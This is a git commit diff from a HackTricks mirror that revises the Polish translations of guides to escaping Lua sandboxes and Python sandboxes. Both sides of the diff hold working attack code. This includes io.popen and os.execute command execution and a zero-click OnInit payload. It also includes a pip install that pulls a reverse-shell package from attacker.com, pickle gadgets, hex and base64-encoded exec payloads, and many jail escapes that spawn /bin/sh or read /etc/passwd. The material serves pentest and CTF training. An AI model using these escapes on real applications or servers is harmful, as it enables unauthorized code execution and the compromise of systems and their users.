mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/pr
This commit is contained in:
parent
6cd1d5fe82
commit
92a66cfc2c
@ -1,14 +1,14 @@
|
||||
# Bypass Lua sandboxes (embedded VMs, game clients)
|
||||
# Omijanie sandboxów Lua (embedded VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ta strona zbiera praktyczne techniki służące do enumeracji i ucieczki z Lua "sandboxes" osadzonych w aplikacjach (w szczególności game clients, plugins lub in-app scripting engines). Wiele silników udostępnia ograniczone środowisko Lua, ale pozostawia dostępne potężne globalne obiekty, które umożliwiają wykonanie dowolnych poleceń lub nawet natywną korupcję pamięci, gdy exposed bytecode loaders.
|
||||
Ta strona zbiera praktyczne techniki do enumeracji i wydostania się z Lua "sandboxes" osadzonych w aplikacjach (w szczególności game clients, plugins lub in-app scripting engines). Wiele silników udostępnia ograniczone środowisko Lua, ale pozostawia potężne globals osiągalne, które umożliwiają dowolne wykonywanie poleceń lub nawet korupcję pamięci natywnej, gdy bytecode loaders są ujawnione.
|
||||
|
||||
Kluczowe pomysły:
|
||||
- Traktuj VM jako nieznane środowisko: enumeruj _G i odkryj, które niebezpieczne prymitywy są dostępne.
|
||||
- Gdy stdout/print jest zablokowany, wykorzystaj dowolny in-VM UI/IPC channel jako miejsce wyjścia, aby obserwować wyniki.
|
||||
- Jeśli io/os jest udostępnione, często masz bezpośrednie wykonanie poleceń (io.popen, os.execute).
|
||||
- Jeśli load/loadstring/loadfile są udostępnione, wykonanie spreparowanego Lua bytecode może obalić bezpieczeństwo pamięci w niektórych wersjach (≤5.1 verifiers są omijane; 5.2 usunął verifier), umożliwiając zaawansowaną eksploatację.
|
||||
Key ideas:
|
||||
- Traktuj VM jako nieznane środowisko: enumeruj _G i odkryj, jakie niebezpieczne primitives są osiągalne.
|
||||
- Gdy stdout/print jest zablokowany, wykorzystaj dowolny in-VM UI/IPC channel jako output sink, aby obserwować wyniki.
|
||||
- Jeśli io/os jest udostępnione, często masz bezpośrednie wykonywanie poleceń (io.popen, os.execute).
|
||||
- Jeśli load/loadstring/loadfile są dostępne, wykonanie spreparowanego Lua bytecode może naruszyć bezpieczeństwo pamięci w niektórych wersjach (≤5.1 verifiers są bypassable; 5.2 removed verifier), umożliwiając zaawansowaną exploitation.
|
||||
|
||||
## Enumerate the sandboxed environment
|
||||
|
||||
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- Jeśli print() nie jest dostępne, ponownie wykorzystaj kanały in-VM. Przykład z VM skryptu housing w MMO, gdzie wyjście czatu działa tylko po wywołaniu dźwięku; poniższe tworzy niezawodną funkcję wyjścia:
|
||||
- Jeśli print() nie jest dostępne, wykorzystaj kanały w VM. Przykład z VM skryptu housingowego MMO, gdzie wyjście czatu działa tylko po wywołaniu dźwięku; poniższe tworzy niezawodną funkcję wyjścia:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
@ -39,11 +39,11 @@ local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
Uogólnij ten wzorzec dla swojego celu: każde pole tekstowe, toast, logger lub callback UI, który przyjmuje strings, może działać jako stdout do reconnaissance.
|
||||
Uogólnij ten wzorzec dla swojego celu: dowolny textbox, toast, logger lub UI callback, który akceptuje strings, może działać jako stdout do rozpoznania.
|
||||
|
||||
## Bezpośrednie wykonanie poleceń, jeśli io/os są udostępnione
|
||||
## Bezpośrednie wykonywanie poleceń jeśli io/os są udostępnione
|
||||
|
||||
Jeśli sandbox nadal udostępnia biblioteki standardowe io lub os, prawdopodobnie masz natychmiastowe wykonanie poleceń:
|
||||
Jeśli sandbox nadal udostępnia standardowe biblioteki io lub os, prawdopodobnie masz natychmiastowe wykonywanie poleceń:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
@ -52,28 +52,27 @@ io.popen("calc.exe")
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
Notatki:
|
||||
- Wykonanie odbywa się wewnątrz procesu klienta; wiele warstw anti-cheat/antidebug, które blokują zewnętrzne debugery, nie zapobiegnie tworzeniu procesów in-VM.
|
||||
- Sprawdź też: package.loadlib (ładowanie dowolnego DLL/.so), require with native modules, LuaJIT's ffi (jeśli obecny), oraz debug library (może podnieść uprawnienia wewnątrz VM).
|
||||
- Wykonanie odbywa się w procesie klienta; wiele warstw anti-cheat/antidebug, które blokują zewnętrzne debugery, nie powstrzyma tworzenia procesów in-VM.
|
||||
- Sprawdź też: package.loadlib (dowolne ładowanie DLL/.so), require z native modules, LuaJIT's ffi (jeśli obecny) oraz debug library (może podnieść uprawnienia wewnątrz VM).
|
||||
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
|
||||
Jeśli aplikacja hosta przesyła skrypty do klientów i VM udostępnia auto-run hooks (np. OnInit/OnLoad/OnEnter), umieść tam swój payload, aby przeprowadzić drive-by compromise zaraz po załadowaniu skryptu:
|
||||
Jeśli aplikacja hosta wypycha skrypty do klientów, a VM udostępnia auto-run hooks (np. OnInit/OnLoad/OnEnter), umieść tam swój payload, aby przeprowadzić drive-by compromise zaraz po załadowaniu skryptu:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
Każde równoważne wywołanie zwrotne (OnLoad, OnEnter, itd.) uogólnia tę technikę, gdy skrypty są przesyłane i wykonywane automatycznie po stronie klienta.
|
||||
Każdy równoważny callback (OnLoad, OnEnter, etc.) uogólnia tę technikę, gdy skrypty są przesyłane i wykonywane po stronie klienta automatycznie.
|
||||
|
||||
## Niebezpieczne prymitywy do wyszukania podczas rozpoznania
|
||||
## Niebezpieczne prymitywy do wyszukania podczas recon
|
||||
|
||||
Podczas enumeracji _G szczególnie zwróć uwagę na:
|
||||
Podczas enumeracji _G, szukaj w szczególności:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: wykonuje source lub bytecode; umożliwia ładowanie niezaufanego bytecode.
|
||||
- package, package.loadlib, require: dynamiczne ładowanie bibliotek i surface modułu.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo i hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load do wywoływania native code bezpośrednio.
|
||||
- load, loadstring, loadfile, dofile: wykonuje źródło lub bytecode; pozwala na ładowanie niezaufanego bytecode.
|
||||
- package, package.loadlib, require: ładowanie dynamicznych bibliotek i powierzchnia modułu.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load do wywoływania kodu natywnego bezpośrednio.
|
||||
|
||||
Minimalne przykłady użycia (jeśli osiągalne):
|
||||
```lua
|
||||
@ -90,14 +89,14 @@ print(g())
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## Optional escalation: abusing Lua bytecode loaders
|
||||
## Opcjonalna eskalacja: nadużywanie Lua bytecode loaders
|
||||
|
||||
Gdy load/loadstring/loadfile są dostępne, ale io/os są ograniczone, wykonanie spreparowanego Lua bytecode może prowadzić do ujawnienia pamięci oraz prymitywów do jej korupcji. Kluczowe fakty:
|
||||
- Lua ≤ 5.1 zawierał weryfikator bajtkodu, który ma znane obejścia.
|
||||
- Lua 5.2 usunął weryfikator całkowicie (oficjalne stanowisko: aplikacje powinny po prostu odrzucać precompiled chunks), co poszerza powierzchnię ataku jeśli ładowanie bajtkodu nie jest zabronione.
|
||||
- Typowe workflow: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
|
||||
Gdy load/loadstring/loadfile są osiągalne, ale io/os są ograniczone, wykonanie spreparowanego Lua bytecode może prowadzić do ujawnienia pamięci i prymitywów korupcji pamięci. Kluczowe fakty:
|
||||
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
|
||||
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
|
||||
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
|
||||
|
||||
Ta ścieżka jest specyficzna dla silnika/wersji i wymaga RE. Zobacz references dla dogłębnych analiz, prymitywów eksploatacji i przykładów gadgetów w grach.
|
||||
Ta ścieżka jest specyficzna dla silnika/wersji i wymaga RE. Zobacz references dla dogłębnych analiz, exploitation primitives i przykładów gadgetry w grach.
|
||||
|
||||
## Detection and hardening notes (for defenders)
|
||||
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Oto kilka trików pozwalających bypass python sandbox protections i wykonywać dowolne polecenia.
|
||||
Oto kilka trików na obejście zabezpieczeń python sandboxes i wykonanie dowolnych poleceń.
|
||||
|
||||
|
||||
## Command Execution Libraries
|
||||
## Biblioteki do wykonywania poleceń
|
||||
|
||||
Pierwsze, co musisz ustalić, to czy możesz bezpośrednio wykonać kod przy użyciu już zaimportowanej biblioteki, czy też czy możesz zaimportować którąś z poniższych bibliotek:
|
||||
Pierwsza rzecz, którą musisz wiedzieć, to czy możesz bezpośrednio wykonać kod przy użyciu jakiejś już zaimportowanej biblioteki, albo czy możesz zaimportować którąkolwiek z poniższych bibliotek:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -40,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być przydatne do **czytania plików** wewnątrz python sandbox oraz do **zapisania kodu**, który możesz **wykonać**, aby **bypass** sandbox.
|
||||
Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być przydatne do **czytania plików** wewnątrz python sandbox i do **zapisania kodu**, który możesz **wykonać**, aby **obejść** sandbox.
|
||||
|
||||
> [!CAUTION] > **Python2 input()** umożliwia wykonanie kodu python zanim program się zawiesi.
|
||||
> [!CAUTION] > Funkcja **Python2 input()** pozwala na wykonanie kodu python zanim program się zawiesi.
|
||||
|
||||
Python próbuje najpierw **ładować biblioteki z bieżącego katalogu** (następująca komenda wydrukuje, skąd python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python próbuje **najpierw ładować biblioteki z bieżącego katalogu** (następujące polecenie wypisze, skąd python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox przy użyciu domyślnie zainstalowanych pakietów python
|
||||
## Bypass pickle sandbox z domyślnie zainstalowanymi pakietami python
|
||||
|
||||
### Domyślne pakiety
|
||||
|
||||
Możesz znaleźć **listę wstępnie zainstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Zauważ, że z pickle możesz spowodować, że środowisko python **zaimportuje dowolne biblioteki** zainstalowane w systemie.\
|
||||
Na przykład poniższy pickle, po załadowaniu, zaimportuje bibliotekę pip, aby z niej skorzystać:
|
||||
Zauważ, że z poziomu pickle możesz spowodować, że środowisko python **zaimportuje dowolne biblioteki** zainstalowane w systemie.\
|
||||
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip, aby ją wykorzystać:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -67,32 +67,32 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Aby uzyskać więcej informacji o tym, jak działa pickle, zobacz: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Aby uzyskać więcej informacji o tym, jak działa pickle, sprawdź to: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pakiet pip
|
||||
### Pip package
|
||||
|
||||
Sztuczka udostępniona przez **@isHaacK**
|
||||
|
||||
Jeśli masz dostęp do `pip` lub `pip.main()` możesz zainstalować dowolny pakiet i uzyskać a reverse shell wywołując:
|
||||
Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać reverse shell wywołując:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Możesz pobrać paczkę tworzącą reverse shell tutaj. Zauważ, że przed użyciem powinieneś **rozpakować ją, zmienić `setup.py` i wpisać swój IP dla reverse shell**:
|
||||
Możesz pobrać pakiet do utworzenia reverse shell tutaj. Pamiętaj, że przed użyciem powinieneś **rozpakować go, zmienić `setup.py` i wstawić swój IP dla reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Ta paczka nazywa się `Reverse`. Została jednak specjalnie przygotowana tak, że po wyjściu z reverse shell reszta instalacji się nie powiedzie, więc **nie zostawisz żadnej dodatkowej paczki python zainstalowanej na serwerze**.
|
||||
> Ten pakiet nazywa się `Reverse`. Został jednak specjalnie przygotowany tak, że kiedy opuścisz reverse shell reszta instalacji się nie powiedzie, więc **nie pozostawisz żadnego dodatkowego pakietu python zainstalowanego na serwerze** po odejściu.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Zwróć uwagę, że exec pozwala na multiline strings i ";", natomiast eval nie (sprawdź walrus operator)
|
||||
> Zwróć uwagę, że exec pozwala na wielowierszowe stringi i ";", ale eval już nie (sprawdź walrus operator)
|
||||
|
||||
Jeśli niektóre znaki są zabronione, możesz użyć reprezentacji **hex/octal/B64**, aby **bypass** ograniczenia:
|
||||
Jeśli pewne znaki są zabronione, możesz użyć reprezentacji **hex/octal/B64**, aby **bypass** ograniczenia:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -113,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Inne biblioteki, które pozwalają na eval kodu python
|
||||
### Inne biblioteki pozwalające na eval kodu python
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -127,15 +127,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
Zobacz także real-world sandboxed evaluator escape w generatorach PDF:
|
||||
Zobacz też real-world sandboxed evaluator escape w generatorach PDF:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Wykorzystuje rl_safe_eval, aby dotrzeć do function.__globals__ i os.system z ocenianych atrybutów (np. kolor czcionki) i zwraca poprawną wartość, aby renderowanie pozostało stabilne.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Wykorzystuje rl_safe_eval, by uzyskać dostęp do function.__globals__ i os.system przez oceniane atrybuty (na przykład kolor czcionki) i zwraca prawidłową wartość, aby utrzymać stabilne renderowanie.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## Operatory i krótkie triki
|
||||
## Operatory i krótkie sztuczki
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -144,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Omijanie zabezpieczeń przez kodowania (UTF-7)
|
||||
## Ominięcie zabezpieczeń przez kodowania (UTF-7)
|
||||
|
||||
W [**ten artykuł**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używany do załadowania i wykonania dowolnego kodu python wewnątrz pozornego sandboxa:
|
||||
W [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używany do załadowania i wykonania dowolnego kodu python wewnątrz pozornego sandboxa:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -157,13 +157,13 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Można to również obejść przy użyciu innych kodowań, np. `raw_unicode_escape` i `unicode_escape`.
|
||||
Możliwe jest również obejście tego przy użyciu innych kodowań, np. `raw_unicode_escape` i `unicode_escape`.
|
||||
|
||||
## Wykonywanie kodu python bez wywołań
|
||||
## Wykonywanie kodu Pythona bez wywołań
|
||||
|
||||
Jeśli znajdujesz się w python jail, który **nie pozwala na wykonywanie wywołań**, nadal istnieją sposoby, by **wykonywać dowolne funkcje, kod** i **polecenia**.
|
||||
Jeśli znajdujesz się w python jail, który **nie pozwala na wykonywanie wywołań**, wciąż istnieją sposoby na **wykonywanie dowolnych funkcji, kodu** i **poleceń**.
|
||||
|
||||
### RCE z [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
@ -185,13 +185,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE tworzenie obiektów i overloading
|
||||
### RCE tworzenie obiektów i przeciążanie
|
||||
|
||||
Jeśli możesz **declare a class** i **create an object** tej klasy, możesz **write/overwrite different methods**, które mogą zostać **triggered** bez konieczności wywoływania ich bezpośrednio.
|
||||
Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możesz **zdefiniować/nadpisać różne metody**, które mogą być **wywołane** **bez** **konieczności wywoływania ich bezpośrednio**.
|
||||
|
||||
#### RCE with custom classes
|
||||
#### RCE z niestandardowymi klasami
|
||||
|
||||
Możesz zmodyfikować niektóre **class methods** (_by overwriting existing class methods or creating a new class_) tak, aby **execute arbitrary code** gdy zostaną **triggered**, bez ich bezpośredniego wywoływania.
|
||||
Możesz zmodyfikować niektóre **metody klasy** (_nadpisując istniejące metody klasy lub tworząc nową klasę_), aby sprawić, że będą one **wykonywać dowolny kod**, gdy zostaną **wywołane** bez konieczności ich bezpośredniego wywoływania.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -241,9 +241,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Tworzenie obiektów przy użyciu [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Tworzenie obiektów za pomocą [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Kluczowe, co metaclasses nam umożliwiają, to **utworzenie instancji klasy bez bezpośredniego wywoływania konstruktora**, poprzez stworzenie nowej klasy z docelową klasą jako metaclass.
|
||||
Kluczową rzeczą, którą metaclasses pozwalają nam zrobić, jest **utworzyć instancję klasy bez bezpośredniego wywoływania konstruktora**, poprzez stworzenie nowej klasy z docelową klasą jako metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -260,7 +260,7 @@ Sub['import os; os.system("sh")']
|
||||
```
|
||||
#### Tworzenie obiektów za pomocą wyjątków
|
||||
|
||||
Gdy **exception** zostanie wywołany, obiekt **Exception** jest **utworzony** bez potrzeby bezpośredniego wywoływania konstruktora (sztuczka od [**@_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Kiedy **wyjątek zostanie zgłoszony**, obiekt **Exception** jest **utworzony** bez konieczności wywoływania konstruktora bezpośrednio (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -302,7 +302,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Przeczytaj plik z builtins help & licencją
|
||||
### Odczyt pliku przy użyciu builtins help i license
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -316,17 +316,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Jeśli masz dostęp do obiektu **`__builtins__`**, możesz zaimportować biblioteki (zauważ, że możesz tu także użyć innych reprezentacji stringowych pokazanych w ostatniej sekcji):
|
||||
Jeśli możesz uzyskać dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że możesz też użyć tutaj innych reprezentacji typu string pokazanych w ostatniej sekcji):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Brak `__builtins__`
|
||||
|
||||
Kiedy nie masz `__builtins__` nie będziesz w stanie nic zaimportować ani nawet czytać czy zapisywać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||
Jednakże **domyślnie python importuje wiele modułów do pamięci**. Te moduły mogą wydawać się **nieszkodliwe**, ale niektóre z nich **zawierają także niebezpieczne** funkcjonalności, do których można uzyskać dostęp, aby osiągnąć nawet **arbitrary code execution**.
|
||||
Kiedy nie masz `__builtins__` nie będziesz w stanie importować czegokolwiek ani nawet czytać czy zapisywać plików, ponieważ **wszystkie funkcje globalne** (takie jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||
Jednak **domyślnie python importuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **także importują niebezpieczne** funkcjonalności wewnątrz, do których można uzyskać dostęp i osiągnąć nawet **arbitrary code execution**.
|
||||
|
||||
W poniższych przykładach możesz zobaczyć, jak **nadużyć** niektórych z tych "**nieszkodliwych**" modułów załadowanych, aby **uzyskać dostęp** do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
||||
W poniższych przykładach możesz zobaczyć, jak **wykorzystać** niektóre z tych **"benign"** załadowanych modułów, by **uzyskać dostęp** do **niebezpiecznych** **funkcjonalności** w ich wnętrzu.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -368,7 +368,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) aby znaleźć dziesiątki/**setek** **miejsc**, w których można znaleźć **builtins**.
|
||||
[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) aby znaleźć dziesiątki/**setki** **miejsc**, gdzie można znaleźć **builtins**.
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -376,7 +376,7 @@ get_flag.__globals__['__builtins__']
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
### Builtins payloady
|
||||
### Builtins payloads
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
@ -410,15 +410,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) aby znaleźć dziesiątki/**setki** **miejsc**, gdzie możesz znaleźć **globals**.
|
||||
[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals)
|
||||
|
||||
## Odkrywanie Arbitrary Execution
|
||||
## Odkrywanie możliwości uruchamiania dowolnego kodu
|
||||
|
||||
Tutaj chcę wyjaśnić, jak łatwo odkryć **więcej niebezpiecznych załadowanych funkcjonalności** i zaproponować bardziej niezawodne exploits.
|
||||
Tutaj chcę wyjaśnić, jak łatwo odkryć **bardziej niebezpieczne załadowane funkcjonalności** i zaproponować bardziej niezawodne exploits.
|
||||
|
||||
#### Dostęp do subclasses z bypasses
|
||||
#### Dostęp do podklas z obejściami
|
||||
|
||||
Jedną z najbardziej wrażliwych części tej techniki jest możliwość **access the base subclasses**. W poprzednich przykładach zrobiono to przy użyciu `''.__class__.__base__.__subclasses__()` ale istnieją **inne możliwe sposoby**:
|
||||
Jedną z najbardziej wrażliwych części tej techniki jest możliwość **dostępu do bazowych podklas**. W poprzednich przykładach zrobiono to przy użyciu `''.__class__.__base__.__subclasses__()`, ale istnieją **inne możliwe sposoby**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -448,16 +448,16 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
```
|
||||
### Wyszukiwanie załadowanych niebezpiecznych bibliotek
|
||||
|
||||
Na przykład, wiedząc, że dzięki bibliotece **`sys`** można **importować dowolne biblioteki**, możesz przeszukać wszystkie **załadowane moduły, które zaimportowały sys wewnątrz siebie**:
|
||||
Na przykład, wiedząc, że dzięki bibliotece **`sys`** można **importować dowolne biblioteki**, możesz przeszukać wszystkie **załadowane moduły, które zawierają import sys**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
